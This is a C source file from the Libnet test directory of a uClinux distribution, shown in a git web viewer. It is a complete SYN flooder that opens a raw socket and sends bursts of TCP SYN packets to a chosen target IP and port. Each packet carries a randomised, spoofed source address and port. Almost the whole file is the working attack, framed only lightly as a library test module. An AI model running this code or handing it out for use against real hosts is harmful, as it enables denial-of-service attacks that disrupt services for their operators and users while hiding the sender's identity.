OSDN Git Service

2013.10.24
[uclinux-h8/uClinux-dist.git] / lib / Libnet / test / TCP / syn-flood.c
1 /*
2  *  $Id: syn-flood.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
3  *
4  *  Poseidon++ (c) 1996, 1997, 1998, 1999, 2000 daemon9|route <route@infonexus.com>
5  *  SYN flooder rewritten for no good reason.  Again as libnet test module.
6  *  Copyright (c) 1998, 1999, 2000 Mike D. Schiffman <mike@infonexus.com>
7  *  All rights reserved.
8  *
9  * Redistribution and use in source and binary forms, with or without
10  * modification, are permitted provided that the following conditions
11  * are met:
12  * 1. Redistributions of source code must retain the above copyright
13  *    notice, this list of conditions and the following disclaimer.
14  * 2. Redistributions in binary form must reproduce the above copyright
15  *    notice, this list of conditions and the following disclaimer in the
16  *    documentation and/or other materials provided with the distribution.
17  *
18  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
19  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
22  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
24  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
26  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
27  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
28  * SUCH DAMAGE.
29  *
30  */
31
32 #if (HAVE_CONFIG_H)
33 #include "../../include/config.h"
34 #endif
35 #include "../libnet_test.h"
36
37 struct t_pack
38 {
39     struct ip ip;
40     struct tcphdr tcp;
41 };
42
43
44 int
45 main(int argc, char **argv)
46 {
47     u_long dst_ip   = 0;
48     u_long src_ip   = 0;
49     u_short dst_prt = 0;
50     u_short src_prt = 0;
51     u_char *cp, *buf;
52     int i, c, packet_amt, burst_int, sockfd, burst_amt;
53
54     packet_amt  = 0;
55     burst_int   = 0;
56     burst_amt   = 1;
57
58     while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
59     {
60         switch (c)
61         {
62             /*
63              *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
64              *  point cp to the last dot of the IP address/port string and
65              *  then seperate them with a NULL byte.  The optarg now points to
66              *  just the IP address, and cp points to the port.
67              */
68             case 't':
69                 if (!(cp = strrchr(optarg, '.')))
70                 {
71                     usage(argv[0]);
72                     exit(EXIT_FAILURE);
73                 }
74                 *cp++ = 0;
75                 dst_prt = (u_short)atoi(cp);
76                 if (!(dst_ip = libnet_name_resolve(optarg, 1)))
77                 {
78                     fprintf(stderr, "Bad IP address: %s\n", optarg);
79                     exit(EXIT_FAILURE);
80                 }
81                 break;
82
83             case 'a':
84                 packet_amt  = atoi(optarg);
85                 break;
86
87             case 'i':
88                 burst_int   = atoi(optarg);
89                 break;
90
91             case 'b':
92                 burst_amt   = atoi(optarg);
93                 break;
94
95             default:
96                 usage(argv[0]);
97                 exit(EXIT_FAILURE);
98         }
99     }
100
101     if (!dst_prt || !dst_ip || !packet_amt)
102     {
103         usage(argv[0]);
104         exit(EXIT_FAILURE);
105     }
106
107     if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
108     {
109         perror("socket allocation");
110         exit(EXIT_FAILURE);
111     }
112
113     buf = malloc(LIBNET_TCP_H + LIBNET_IP_H);
114     if (!buf)
115     {
116         perror("No memory for packet header");
117         exit(EXIT_FAILURE);
118     }
119     memset(buf, 0, LIBNET_TCP_H + LIBNET_IP_H);
120
121     libnet_seed_prand();
122
123     for(; burst_amt--;)
124     {
125         for (i = 0; i < packet_amt; i++)
126         {
127             libnet_build_ip(LIBNET_TCP_H,
128                     0,
129                     libnet_get_prand(LIBNET_PRu16),
130                     0,
131                     libnet_get_prand(LIBNET_PR8),
132                     IPPROTO_TCP,
133                     src_ip = libnet_get_prand(LIBNET_PRu32),
134                     dst_ip,
135                     NULL,
136                     0,
137                     buf);
138
139             libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16),
140                     dst_prt,
141                     libnet_get_prand(LIBNET_PRu32),
142                     libnet_get_prand(LIBNET_PRu32),
143                     TH_SYN,
144                     libnet_get_prand(LIBNET_PRu16),
145                     0,
146                     NULL,
147                     0,
148                     buf + LIBNET_IP_H);
149
150             libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H);
151
152             c = libnet_write_ip(sockfd, buf, LIBNET_TCP_H + LIBNET_IP_H);
153             if (c < LIBNET_TCP_H + LIBNET_IP_H)
154             {
155                 fprintf(stderr, "libnet_write_ip\n");
156             }
157             usleep(250);
158             printf("%15s:%5d ------> %15s:%5d\n", 
159                     libnet_host_lookup(src_ip, 1),
160                     ntohs(src_prt),
161                     libnet_host_lookup(dst_ip, 1),
162                     dst_prt);
163         }
164         sleep(burst_int);
165     }
166     free(buf);
167     exit(EXIT_SUCCESS);
168 }
169
170
171 void
172 usage(u_char *nomenclature)
173 {
174     fprintf(stderr,
175         "\n\nusage: %s -t -a [-i -b]\n"
176         "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
177         "\t-a number of packets to send per burst\n"
178         "\t-i packet burst sending interval (defaults to 0)\n"
179         "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
180 }
181
182
183 /* EOF */